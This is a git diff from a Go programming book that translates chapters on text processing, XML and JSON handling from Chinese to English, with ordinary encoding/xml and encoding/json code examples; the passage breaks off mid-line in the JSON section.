-Web开发中对于文本处理是非常重要的一部分,我们往往需要对输出或者输入的内容进行处理,这里的文本包括字符串、数字、Json、XMl等等。Go语言作为一门高性能的语言,对这些文本的处理都有官方的标准库来支持。而且在你使用中你会发现Go标准库的一些设计相当的巧妙,而且对于使用者来说也很方便就能处理这些文本。本章我们将通过四个小节的介绍,让用户对Go语言处理文本有一个很好的认识。 - -XML是目前很多标准接口的交互语言,很多时候和一些Java编写的webserver进行交互都是基于XML标准进行交互,7.1小节将介绍如何处理XML文本,我们使用XML之后发现它太复杂了,现在很多互联网企业对外的API大多数采用了JSON格式,这种格式描述简单,但是又能很好的表达意思,7.2小节我们将讲述如何来处理这样的JSON格式数据。正则是一个让人又爱又恨的工具,它处理文本的能力非常强大,我们在前面表单验证里面已经有所领略它的强大,7.3小节将详细的更深入的讲解如何利用好Go的正则。Web开发中一个很重要的部分就是MVC分离,在Go语言的Web开发中V有一个专门的包来支持`template`,7.4小节将详细的讲解如何使用模版来进行输出内容。7.5小节将详细介绍如何进行文件和文件夹的操作。7.6小结介绍了字符串的相关操作。 - -## 目录 - ![](images/navi7.png?raw=true) - -## links - * [目录]() - * 上一章: [第六章总结](<06.5.md>) - * 下一节: [XML处理](<07.1.md>) +# 7 Text files + +Handling text files is a big part of web development. We often need to produce or handle received text content, including strings, numbers, JSON, XML, etc. As a high performance language, Go has good support for this in its standard library. You'll find that these supporting libraries are just awesome, and will allow you to easily deal with any text content you may encounter. This chapter contains 4 sections, and will give you a full introduction to text processing in Go. + +XML is an interactive language that is commonly used in many APIs, many web servers written in Java use XML as their standard interaction language. We'll more talk about XML in section 7.1. In section 7.2, we'll take a look at JSON which has been very popular in recent years and is much more convenient than XML. In section 7.3, we are going to talk about regular expressions which (for the majority of people) looks like a language used by aliens. In section 7.4, you will see how the MVC pattern is used to develop applications in Go, and also how to use Go's `template` package for templating your views. In section 7.5, we'll introduce you to file and folder operations. Finally, we will explain some Go string operations in section 7.6. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 6 Summary](06.5.md) +- Next section: [XML](07.1.md) diff --git a/en/07.0.md~380a8ee74c41759d8189ad553423467994187253 b/en/07.0.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..f3ff7ddb --- /dev/null +++ b/en/07.0.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,12 @@ +# 7 文本处理 +Web开发中对于文本处理是非常重要的一部分,我们往往需要对输出或者输入的内容进行处理,这里的文本包括字符串、数字、Json、XMl等等。Go语言作为一门高性能的语言,对这些文本的处理都有官方的标准库来支持。而且在你使用中你会发现Go标准库的一些设计相当的巧妙,而且对于使用者来说也很方便就能处理这些文本。本章我们将通过四个小节的介绍,让用户对Go语言处理文本有一个很好的认识。 + +XML是目前很多标准接口的交互语言,很多时候和一些Java编写的webserver进行交互都是基于XML标准进行交互,7.1小节将介绍如何处理XML文本,我们使用XML之后发现它太复杂了,现在很多互联网企业对外的API大多数采用了JSON格式,这种格式描述简单,但是又能很好的表达意思,7.2小节我们将讲述如何来处理这样的JSON格式数据。正则是一个让人又爱又恨的工具,它处理文本的能力非常强大,我们在前面表单验证里面已经有所领略它的强大,7.3小节将详细的更深入的讲解如何利用好Go的正则。Web开发中一个很重要的部分就是MVC分离,在Go语言的Web开发中V有一个专门的包来支持`template`,7.4小节将详细的讲解如何使用模版来进行输出内容。7.5小节将详细介绍如何进行文件和文件夹的操作。7.6小结介绍了字符串的相关操作。 + +## 目录 + ![](images/navi7.png?raw=true) + +## links + * [目录]() + * 上一章: [第六章总结](<06.5.md>) + * 下一节: [XML处理](<07.1.md>) diff --git a/en/07.1.md b/en/07.1.md index d6070085..cec4225c 100644 --- a/en/07.1.md +++ b/en/07.1.md @@ -1,221 +1,216 @@ -# 7.1 XML处理 -XML作为一种数据交换和信息传递的格式已经十分普及。而随着Web服务日益广泛的应用,现在XML在日常的开发工作中也扮演了愈发重要的角色。这一小节, 我们将就Go语言标准包中的XML相关处理的包进行介绍。 - -这个小节不会涉及XML规范相关的内容(如需了解相关知识请参考其他文献),而是介绍如何用Go语言来编解码XML文件相关的知识。 - -假如你是一名运维人员,你为你所管理的所有服务器生成了如下内容的xml的配置文件: - - - - - Shanghai_VPN - 127.0.0.1 - - - Beijing_VPN - 127.0.0.2 - - - -上面的XML文档描述了两个服务器的信息,包含了服务器名和服务器的IP信息,接下来的Go例子以此XML描述的信息进行操作。 - -## 解析XML -如何解析如上这个XML文件呢? 我们可以通过xml包的`Unmarshal`函数来达到我们的目的 - - func Unmarshal(data []byte, v interface{}) error - -data接收的是XML数据流,v是需要输出的结构,定义为interface,也就是可以把XML转换为任意的格式。我们这里主要介绍struct的转换,因为struct和XML都有类似树结构的特征。 - -示例代码如下: - - package main - - import ( - "encoding/xml" - "fmt" - "io/ioutil" - "os" - ) - - type Recurlyservers struct { - XMLName xml.Name `xml:"servers"` - Version string `xml:"version,attr"` - Svs []server `xml:"server"` - Description string `xml:",innerxml"` - } - - type server struct { - XMLName xml.Name `xml:"server"` - ServerName string `xml:"serverName"` - ServerIP string `xml:"serverIP"` - } - - func main() { - file, err := os.Open("servers.xml") // For read access. - if err != nil { - fmt.Printf("error: %v", err) - return - } - defer file.Close() - data, err := ioutil.ReadAll(file) - if err != nil { - fmt.Printf("error: %v", err) - return - } - v := Recurlyservers{} - err = xml.Unmarshal(data, &v) - if err != nil { - fmt.Printf("error: %v", err) - return - } - - fmt.Println(v) - } - - -XML本质上是一种树形的数据格式,而我们可以定义与之匹配的go 语言的 struct类型,然后通过xml.Unmarshal来将xml中的数据解析成对应的struct对象。如上例子输出如下数据 - - {{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}] - - Shanghai_VPN - 127.0.0.1 - - - Beijing_VPN - 127.0.0.2 - - } - - -上面的例子中,将xml文件解析成对应的struct对象是通过`xml.Unmarshal`来完成的,这个过程是如何实现的?可以看到我们的struct定义后面多了一些类似于`xml:"serverName"`这样的内容,这个是struct的一个特性,它们被称为 struct tag,它们是用来辅助反射的。我们来看一下`Unmarshal`的定义: - - func Unmarshal(data []byte, v interface{}) error - -我们看到函数定义了两个参数,第一个是XML数据流,第二个是存储的对应类型,目前支持struct、slice和string,XML包内部采用了反射来进行数据的映射,所以v里面的字段必须是导出的。`Unmarshal`解析的时候XML元素和字段怎么对应起来的呢?这是有一个优先级读取流程的,首先会读取struct tag,如果没有,那么就会对应字段名。必须注意一点的是解析的时候tag、字段名、XML元素都是大小写敏感的,所以必须一一对应字段。 - -Go语言的反射机制,可以利用这些tag信息来将来自XML文件中的数据反射成对应的struct对象,关于反射如何利用struct tag的更多内容请参阅reflect中的相关内容。 - -解析XML到struct的时候遵循如下的规则: - -- 如果struct的一个字段是string或者[]byte类型且它的tag含有`",innerxml"`,Unmarshal将会将此字段所对应的元素内所有内嵌的原始xml累加到此字段上,如上面例子Description定义。最后的输出是 - - - Shanghai_VPN - 127.0.0.1 - - - Beijing_VPN - 127.0.0.2 - - -- 如果struct中有一个叫做XMLName,且类型为xml.Name字段,那么在解析的时候就会保存这个element的名字到该字段,如上面例子中的servers。 -- 如果某个struct字段的tag定义中含有XML结构中element的名称,那么解析的时候就会把相应的element值赋值给该字段,如上servername和serverip定义。 -- 如果某个struct字段的tag定义了中含有`",attr"`,那么解析的时候就会将该结构所对应的element的与字段同名的属性的值赋值给该字段,如上version定义。 -- 如果某个struct字段的tag定义 型如`"a>b>c"`,则解析的时候,会将xml结构a下面的b下面的c元素的值赋值给该字段。 -- 如果某个struct字段的tag定义了`"-"`,那么不会为该字段解析匹配任何xml数据。 -- 如果struct字段后面的tag定义了`",any"`,如果他的子元素在不满足其他的规则的时候就会匹配到这个字段。 -- 如果某个XML元素包含一条或者多条注释,那么这些注释将被累加到第一个tag含有",comments"的字段上,这个字段的类型可能是[]byte或string,如果没有这样的字段存在,那么注释将会被抛弃。 - -上面详细讲述了如何定义struct的tag。 只要设置对了tag,那么XML解析就如上面示例般简单,tag和XML的element是一一对应的关系,如上所示,我们还可以通过slice来表示多个同级元素。 - ->注意: 为了正确解析,go语言的xml包要求struct定义中的所有字段必须是可导出的(即首字母大写) - -## 输出XML -假若我们不是要解析如上所示的XML文件,而是生成它,那么在go语言中又该如何实现呢? xml包中提供了`Marshal`和`MarshalIndent`两个函数,来满足我们的需求。这两个函数主要的区别是第二个函数会增加前缀和缩进,函数的定义如下所示: - - func Marshal(v interface{}) ([]byte, error) - func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error) - -两个函数第一个参数是用来生成XML的结构定义类型数据,都是返回生成的XML数据流。 - -下面我们来看一下如何输出如上的XML: - - package main - - import ( - "encoding/xml" - "fmt" - "os" - ) - - type Servers struct { - XMLName xml.Name `xml:"servers"` - Version string `xml:"version,attr"` - Svs []server `xml:"server"` - } - - type server struct { - ServerName string `xml:"serverName"` - ServerIP string `xml:"serverIP"` - } - - func main() { - v := &Servers{Version: "1"} - v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"}) - v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"}) - output, err := xml.MarshalIndent(v, " ", " ") - if err != nil { - fmt.Printf("error: %v\n", err) - } - os.Stdout.Write([]byte(xml.Header)) - - os.Stdout.Write(output) - } -上面的代码输出如下信息: - - - - - Shanghai_VPN - 127.0.0.1 - - - Beijing_VPN - 127.0.0.2 - - - -和我们之前定义的文件的格式一模一样,之所以会有`os.Stdout.Write([]byte(xml.Header))` 这句代码的出现,是因为`xml.MarshalIndent`或者`xml.Marshal`输出的信息都是不带XML头的,为了生成正确的xml文件,我们使用了xml包预定义的Header变量。 - -我们看到`Marshal`函数接收的参数v是interface{}类型的,即它可以接受任意类型的参数,那么xml包,根据什么规则来生成相应的XML文件呢? - -- 如果v是 array或者slice,那么输出每一个元素,类似value -- 如果v是指针,那么会Marshal指针指向的内容,如果指针为空,什么都不输出 -- 如果v是interface,那么就处理interface所包含的数据 -- 如果v是其他数据类型,就会输出这个数据类型所拥有的字段信息 - -生成的XML文件中的element的名字又是根据什么决定的呢?元素名按照如下优先级从struct中获取: - -- 如果v是struct,XMLName的tag中定义的名称 -- 类型为xml.Name的名叫XMLName的字段的值 -- 通过struct中字段的tag来获取 -- 通过struct的字段名用来获取 -- marshall的类型名称 - -我们应如何设置struct 中字段的tag信息以控制最终xml文件的生成呢? - -- XMLName不会被输出 -- tag中含有`"-"`的字段不会输出 -- tag中含有`"name,attr"`,会以name作为属性名,字段值作为值输出为这个XML元素的属性,如上version字段所描述 -- tag中含有`",attr"`,会以这个struct的字段名作为属性名输出为XML元素的属性,类似上一条,只是这个name默认是字段名了。 -- tag中含有`",chardata"`,输出为xml的 character data而非element。 -- tag中含有`",innerxml"`,将会被原样输出,而不会进行常规的编码过程 -- tag中含有`",comment"`,将被当作xml注释来输出,而不会进行常规的编码过程,字段值中不能含有"--"字符串 -- tag中含有`"omitempty"`,如果该字段的值为空值那么该字段就不会被输出到XML,空值包括:false、0、nil指针或nil接口,任何长度为0的array, slice, map或者string -- tag中含有`"a>b>c"`,那么就会循环输出三个元素a包含b,b包含c,例如如下代码就会输出 - - FirstName string `xml:"name>first"` - LastName string `xml:"name>last"` - - - Asta - Xie - - - -上面我们介绍了如何使用Go语言的xml包来编/解码XML文件,重要的一点是对XML的所有操作都是通过struct tag来实现的,所以学会对struct tag的运用变得非常重要,在文章中我们简要的列举了如何定义tag。更多内容或tag定义请参看相应的官方资料。 - -## links - * [目录]() - * 上一节: [文本处理](<07.0.md>) - * 下一节: [Json处理](<07.2.md>) +# 7.1 XML + +XML is a commonly used data communication format in web services. Today, it's assuming a more and more important role in web development. In this section, we're going to introduce how to work with XML through Go's standard library. + +I will not make any attempts to teach XML's syntax or conventions. For that, please read more documentation about XML itself. We will only focus on how to encode and decode XML files in Go. + +Suppose you work in IT, and you have to deal with the following XML configuration file: + + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + + +The above XML document contains two kinds of information about your server: the server name and IP. We will use this document in our following examples. + +## Parse XML + +How do we parse this XML document? We can use the `Unmarshal` function in Go's `xml` package to do this. + + func Unmarshal(data []byte, v interface{}) error + +the `data` parameter receives a data stream from an XML source, and `v` is the structure you want to output the parsed XML to. It is an interface, which means you can convert XML to any structure you desire. Here, we'll only talk about how to convert from XML to the `struct` type since they share similar tree structures. + +Sample code: + + package main + + import ( + "encoding/xml" + "fmt" + "io/ioutil" + "os" + ) + + type Recurlyservers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` + Description string `xml:",innerxml"` + } + + type server struct { + XMLName xml.Name `xml:"server"` + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` + } + + func main() { + file, err := os.Open("servers.xml") // For read access. + if err != nil { + fmt.Printf("error: %v", err) + return + } + defer file.Close() + data, err := ioutil.ReadAll(file) + if err != nil { + fmt.Printf("error: %v", err) + return + } + v := Recurlyservers{} + err = xml.Unmarshal(data, &v) + if err != nil { + fmt.Printf("error: %v", err) + return + } + + fmt.Println(v) + } + +XML is actually a tree data structure, and we can define a very similar structure using structs in Go, then use `xml.Unmarshal` to convert from XML to our struct object. The sample code will print the following content: + + {{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}] + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + } + +We use `xml.Unmarshal` to parse the XML document to the corresponding struct object. You should see that we have something like `xml:"serverName"` in our struct. This is a feature of structs called `struct tags` for helping with reflection. Let's see the definition of `Unmarshal` again: + + func Unmarshal(data []byte, v interface{}) error + +The first argument is an XML data stream. The second argument is storage type and supports the struct, slice and string types. Go's XML package uses reflection for data mapping, so all fields in v should be exported. However, this causes a problem: how can it know which XML field corresponds to the mapped struct field? The answer is that the XML parser parses data in a certain order. The library will try to find the matching struct tag first. If a match cannot be found then it searches through the struct field names. Be aware that all tags, field names and XML elements are case sensitive, so you have to make sure that there is a one to one correspondence for the mapping to succeed. + +Go's reflection mechanism allows you to use this tag information to reflect XML data to a struct object. If you want to know more about reflection in Go, please read the package documentation on struct tags and reflection. + +Here are some rules when using the `xml` package to parse XML documents to structs: + +- If the field type is a string or []byte with the tag `",innerxml"`, `Unmarshal` will assign raw XML data to it, like `Description` in the above example: + + Shanghai_VPN127.0.0.1Beijing_VPN127.0.0.2 + +- If a field is called `XMLName` and its type is `xml.Name`, then it gets the element name, like `servers` in above example. +- If a field's tag contains the corresponding element name, then it gets the element name as well, like `servername` and `serverip` in the above example. +- If a field's tag contains `",attr"`, then it gets the corresponding element's attribute, like `version` in above example. +- If a field's tag contains something like `"a>b>c"`, it gets the value of the element c of node b of node a. +- If a field's tag contains `"="`, then it gets nothing. +- If a field's tag contains `",any"`, then it gets all child elements which do not fit the other rules. +- If the XML elements have one or more comments, all of these comments will be added to the first field that has the tag that contains `",comments"`. This field type can be a string or []byte. If this kind of field does not exist, all comments are discard. + +These rules tell you how to define tags in structs. Once you understand these rules, mapping XML to structs will be as easy as the sample code above. Because tags and XML elements have a one to one correspondence, we can also use slices to represent multiple elements on the same level. + +Note that all fields in structs should be exported (capitalized) in order to parse data correctly. + +## Produce XML + +What if we want to produce an XML document instead of parsing one. How do we do this in Go? Unsurprisingly, the `xml` package provides two functions which are `Marshal` and `MarshalIndent`, where the second function automatically indents the marshalled XML document. Their definition as follows: + + func Marshal(v interface{}) ([]byte, error) + func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error) + +The first argument in both of these functions is for storing a marshalled XML data stream. + +Let's look at an example to see how this works: + + package main + + import ( + "encoding/xml" + "fmt" + "os" + ) + + type Servers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` + } + + type server struct { + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` + } + + func main() { + v := &Servers{Version: "1"} + v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"}) + v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"}) + output, err := xml.MarshalIndent(v, " ", " ") + if err != nil { + fmt.Printf("error: %v\n", err) + } + os.Stdout.Write([]byte(xml.Header)) + + os.Stdout.Write(output) + } + +The above example prints the following information: + + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + + +As we've previously defined, the reason we have `os.Stdout.Write([]byte(xml.Header))` is because both `xml.MarshalIndent` and `xml.Marshal` do not output XML headers on their own, so we have to explicitly print them in order to produce XML documents correctly. + +Here we can see that `Marshal` also receives a v parameter of type `interface{}`. So what are the rules when marshalling to an XML document? + +- If v is an array or slice, it prints all elements like a value. +- If v is a pointer, it prints the content that v is pointing to, printing nothing when v is nil. +- If v is a interface, it deal with the interface as well. +- If v is one of the other types, it prints the value of that type. + +So how does `xml.Marshal` decide the elements' name? It follows the proceeding rules: + +- If v is a struct, it defines the name in the tag of XMLName. +- The field name is XMLName and the type is xml.Name. +- Field tag in struct. +- Field name in struct. +- Type name of marshal. + +Then we need to figure out how to set tags in order to produce the final XML document. + +- XMLName will not be printed. +- Fields that have tags containing `"-"` will not be printed. +- If a tag contains `"name,attr"`, it uses name as the attribute name and the field value as the value, like `version` in the above example. +- If a tag contains `",attr"`, it uses the field's name as the attribute name and the field value as its value. +- If a tag contains `",chardata"`, it prints character data instead of element. +- If a tag contains `",innerxml"`, it prints the raw value. +- If a tag contains `",comment"`, it prints it as a comment without escaping, so you cannot have "--" in its value. +- If a tag contains `"omitempty"`, it omits this field if its value is zero-value, including false, 0, nil pointer or nil interface, zero length of array, slice, map and string. +- If a tag contains `"a>b>c"`, it prints three elements where a contains b and b contains c, like in the following code: + + FirstName string `xml:"name>first"` + LastName string `xml:"name>last"` + + + Asta + Xie + + +You may have noticed that struct tags are very useful for dealing with XML, and the same goes for the other data formats we'll be discussing in the following sections. If you still find that you have problems with working with struct tags, you should probably read more documentation about them before diving into the next section. + +## Links + +- [Directory](preface.md) +- Previous section: [Text files](07.0.md) +- Next section: [JSON](07.2.md) diff --git a/en/07.1.md~380a8ee74c41759d8189ad553423467994187253 b/en/07.1.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..bc321eb1 --- /dev/null +++ b/en/07.1.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,221 @@ +# 7.1 XML处理 +XML作为一种数据交换和信息传递的格式已经十分普及。而随着Web服务日益广泛的应用,现在XML在日常的开发工作中也扮演了愈发重要的角色。这一小节, 我们将就Go语言标准包中的XML相关处理的包进行介绍。 + +这个小节不会涉及XML规范相关的内容(如需了解相关知识请参考其他文献),而是介绍如何用Go语言来编解码XML文件相关的知识。 + +假如你是一名运维人员,你为你所管理的所有服务器生成了如下内容的xml的配置文件: + + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + + +上面的XML文档描述了两个服务器的信息,包含了服务器名和服务器的IP信息,接下来的Go例子以此XML描述的信息进行操作。 + +## 解析XML +如何解析如上这个XML文件呢? 我们可以通过xml包的`Unmarshal`函数来达到我们的目的 + + func Unmarshal(data []byte, v interface{}) error + +data接收的是XML数据流,v是需要输出的结构,定义为interface,也就是可以把XML转换为任意的格式。我们这里主要介绍struct的转换,因为struct和XML都有类似树结构的特征。 + +示例代码如下: + + package main + + import ( + "encoding/xml" + "fmt" + "io/ioutil" + "os" + ) + + type Recurlyservers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` + Description string `xml:",innerxml"` + } + + type server struct { + XMLName xml.Name `xml:"server"` + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` + } + + func main() { + file, err := os.Open("servers.xml") // For read access. + if err != nil { + fmt.Printf("error: %v", err) + return + } + defer file.Close() + data, err := ioutil.ReadAll(file) + if err != nil { + fmt.Printf("error: %v", err) + return + } + v := Recurlyservers{} + err = xml.Unmarshal(data, &v) + if err != nil { + fmt.Printf("error: %v", err) + return + } + + fmt.Println(v) + } + + +XML本质上是一种树形的数据格式,而我们可以定义与之匹配的go 语言的 struct类型,然后通过xml.Unmarshal来将xml中的数据解析成对应的struct对象。如上例子输出如下数据 + + {{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}] + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + } + + +上面的例子中,将xml文件解析成对应的struct对象是通过`xml.Unmarshal`来完成的,这个过程是如何实现的?可以看到我们的struct定义后面多了一些类似于`xml:"serverName"`这样的内容,这个是struct的一个特性,它们被称为 struct tag,它们是用来辅助反射的。我们来看一下`Unmarshal`的定义: + + func Unmarshal(data []byte, v interface{}) error + +我们看到函数定义了两个参数,第一个是XML数据流,第二个是存储的对应类型,目前支持struct、slice和string,XML包内部采用了反射来进行数据的映射,所以v里面的字段必须是导出的。`Unmarshal`解析的时候XML元素和字段怎么对应起来的呢?这是有一个优先级读取流程的,首先会读取struct tag,如果没有,那么就会对应字段名。必须注意一点的是解析的时候tag、字段名、XML元素都是大小写敏感的,所以必须一一对应字段。 + +Go语言的反射机制,可以利用这些tag信息来将来自XML文件中的数据反射成对应的struct对象,关于反射如何利用struct tag的更多内容请参阅reflect中的相关内容。 + +解析XML到struct的时候遵循如下的规则: + +- 如果struct的一个字段是string或者[]byte类型且它的tag含有`",innerxml"`,Unmarshal将会将此字段所对应的元素内所有内嵌的原始xml累加到此字段上,如上面例子Description定义。最后的输出是 + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + +- 如果struct中有一个叫做XMLName,且类型为xml.Name字段,那么在解析的时候就会保存这个element的名字到该字段,如上面例子中的servers。 +- 如果某个struct字段的tag定义中含有XML结构中element的名称,那么解析的时候就会把相应的element值赋值给该字段,如上servername和serverip定义。 +- 如果某个struct字段的tag定义了中含有`",attr"`,那么解析的时候就会将该结构所对应的element的与字段同名的属性的值赋值给该字段,如上version定义。 +- 如果某个struct字段的tag定义 型如`"a>b>c"`,则解析的时候,会将xml结构a下面的b下面的c元素的值赋值给该字段。 +- 如果某个struct字段的tag定义了`"-"`,那么不会为该字段解析匹配任何xml数据。 +- 如果struct字段后面的tag定义了`",any"`,如果他的子元素在不满足其他的规则的时候就会匹配到这个字段。 +- 如果某个XML元素包含一条或者多条注释,那么这些注释将被累加到第一个tag含有",comments"的字段上,这个字段的类型可能是[]byte或string,如果没有这样的字段存在,那么注释将会被抛弃。 + +上面详细讲述了如何定义struct的tag。 只要设置对了tag,那么XML解析就如上面示例般简单,tag和XML的element是一一对应的关系,如上所示,我们还可以通过slice来表示多个同级元素。 + +>注意: 为了正确解析,go语言的xml包要求struct定义中的所有字段必须是可导出的(即首字母大写) + +## 输出XML +假若我们不是要解析如上所示的XML文件,而是生成它,那么在go语言中又该如何实现呢? xml包中提供了`Marshal`和`MarshalIndent`两个函数,来满足我们的需求。这两个函数主要的区别是第二个函数会增加前缀和缩进,函数的定义如下所示: + + func Marshal(v interface{}) ([]byte, error) + func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error) + +两个函数第一个参数是用来生成XML的结构定义类型数据,都是返回生成的XML数据流。 + +下面我们来看一下如何输出如上的XML: + + package main + + import ( + "encoding/xml" + "fmt" + "os" + ) + + type Servers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` + } + + type server struct { + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` + } + + func main() { + v := &Servers{Version: "1"} + v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"}) + v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"}) + output, err := xml.MarshalIndent(v, " ", " ") + if err != nil { + fmt.Printf("error: %v\n", err) + } + os.Stdout.Write([]byte(xml.Header)) + + os.Stdout.Write(output) + } +上面的代码输出如下信息: + + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + + +和我们之前定义的文件的格式一模一样,之所以会有`os.Stdout.Write([]byte(xml.Header))` 这句代码的出现,是因为`xml.MarshalIndent`或者`xml.Marshal`输出的信息都是不带XML头的,为了生成正确的xml文件,我们使用了xml包预定义的Header变量。 + +我们看到`Marshal`函数接收的参数v是interface{}类型的,即它可以接受任意类型的参数,那么xml包,根据什么规则来生成相应的XML文件呢? + +- 如果v是 array或者slice,那么输出每一个元素,类似value +- 如果v是指针,那么会Marshal指针指向的内容,如果指针为空,什么都不输出 +- 如果v是interface,那么就处理interface所包含的数据 +- 如果v是其他数据类型,就会输出这个数据类型所拥有的字段信息 + +生成的XML文件中的element的名字又是根据什么决定的呢?元素名按照如下优先级从struct中获取: + +- 如果v是struct,XMLName的tag中定义的名称 +- 类型为xml.Name的名叫XMLName的字段的值 +- 通过struct中字段的tag来获取 +- 通过struct的字段名用来获取 +- marshall的类型名称 + +我们应如何设置struct 中字段的tag信息以控制最终xml文件的生成呢? + +- XMLName不会被输出 +- tag中含有`"-"`的字段不会输出 +- tag中含有`"name,attr"`,会以name作为属性名,字段值作为值输出为这个XML元素的属性,如上version字段所描述 +- tag中含有`",attr"`,会以这个struct的字段名作为属性名输出为XML元素的属性,类似上一条,只是这个name默认是字段名了。 +- tag中含有`",chardata"`,输出为xml的 character data而非element。 +- tag中含有`",innerxml"`,将会被原样输出,而不会进行常规的编码过程 +- tag中含有`",comment"`,将被当作xml注释来输出,而不会进行常规的编码过程,字段值中不能含有"--"字符串 +- tag中含有`"omitempty"`,如果该字段的值为空值那么该字段就不会被输出到XML,空值包括:false、0、nil指针或nil接口,任何长度为0的array, slice, map或者string +- tag中含有`"a>b>c"`,那么就会循环输出三个元素a包含b,b包含c,例如如下代码就会输出 + + FirstName string `xml:"name>first"` + LastName string `xml:"name>last"` + + + Asta + Xie + + + +上面我们介绍了如何使用Go语言的xml包来编/解码XML文件,重要的一点是对XML的所有操作都是通过struct tag来实现的,所以学会对struct tag的运用变得非常重要,在文章中我们简要的列举了如何定义tag。更多内容或tag定义请参看相应的官方资料。 + +## links + * [目录]() + * 上一节: [文本处理](<07.0.md>) + * 下一节: [Json处理](<07.2.md>) diff --git a/en/07.2.md b/en/07.2.md index 6ec2a5a3..6066b18c 100644 --- a/en/07.2.md +++ b/en/07.2.md @@ -1,224 +1,231 @@ -# 7.2 JSON处理 -JSON(Javascript Object Notation)是一种轻量级的数据交换语言,以文字为基础,具有自我描述性且易于让人阅读。尽管JSON是Javascript的一个子集,但JSON是独立于语言的文本格式,并且采用了类似于C语言家族的一些习惯。JSON与XML最大的不同在于XML是一个完整的标记语言,而JSON不是。JSON由于比XML更小、更快,更易解析,以及浏览器的内建快速解析支持,使得其更适用于网络数据传输领域。目前我们看到很多的开放平台,基本上都是采用了JSON作为他们的数据交互的接口。既然JSON在Web开发中如此重要,那么Go语言对JSON支持的怎么样呢?Go语言的标准库已经非常好的支持了JSON,可以很容易的对JSON数据进行编、解码的工作。 - -前一小节的运维的例子用json来表示,结果描述如下: - - {"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]} - -本小节余下的内容将以此JSON数据为基础,来介绍go语言的json包对JSON数据的编、解码。 -## 解析JSON - -### 解析到结构体 -假如有了上面的JSON串,那么我们如何来解析这个JSON串呢?Go的JSON包中有如下函数 - - func Unmarshal(data []byte, v interface{}) error - -通过这个函数我们就可以实现解析的目的,详细的解析例子请看如下代码: - - package main - - import ( - "encoding/json" - "fmt" - ) - - type Server struct { - ServerName string - ServerIP string - } - - type Serverslice struct { - Servers []Server - } - - func main() { - var s Serverslice - str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}` - json.Unmarshal([]byte(str), &s) - fmt.Println(s) - } - -在上面的示例代码中,我们首先定义了与json数据对应的结构体,数组对应slice,字段名对应JSON里面的KEY,在解析的时候,如何将json数据与struct字段相匹配呢?例如JSON的key是`Foo`,那么怎么找对应的字段呢? - -- 首先查找tag含有`Foo`的可导出的struct字段(首字母大写) -- 其次查找字段名是`Foo`的导出字段 -- 最后查找类似`FOO`或者`FoO`这样的除了首字母之外其他大小写不敏感的导出字段 - -聪明的你一定注意到了这一点:能够被赋值的字段必须是可导出字段(即首字母大写)。同时JSON解析的时候只会解析能找得到的字段,找不到的字段会被忽略,这样的一个好处是:当你接收到一个很大的JSON数据结构而你却只想获取其中的部分数据的时候,你只需将你想要的数据对应的字段名大写,即可轻松解决这个问题。 - -### 解析到interface -上面那种解析方式是在我们知晓被解析的JSON数据的结构的前提下采取的方案,如果我们不知道被解析的数据的格式,又应该如何来解析呢? - -我们知道interface{}可以用来存储任意数据类型的对象,这种数据结构正好用于存储解析的未知结构的json数据的结果。JSON包中采用map[string]interface{}和[]interface{}结构来存储任意的JSON对象和数组。Go类型和JSON类型的对应关系如下: - -- bool 代表 JSON booleans, -- float64 代表 JSON numbers, -- string 代表 JSON strings, -- nil 代表 JSON null. - -现在我们假设有如下的JSON数据 - - b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`) - -如果在我们不知道他的结构的情况下,我们把他解析到interface{}里面 - - var f interface{} - err := json.Unmarshal(b, &f) - -这个时候f里面存储了一个map类型,他们的key是string,值存储在空的interface{}里 - - f = map[string]interface{}{ - "Name": "Wednesday", - "Age": 6, - "Parents": []interface{}{ - "Gomez", - "Morticia", - }, - } - -那么如何来访问这些数据呢?通过断言的方式: - - m := f.(map[string]interface{}) - -通过断言之后,你就可以通过如下方式来访问里面的数据了 - - for k, v := range m { - switch vv := 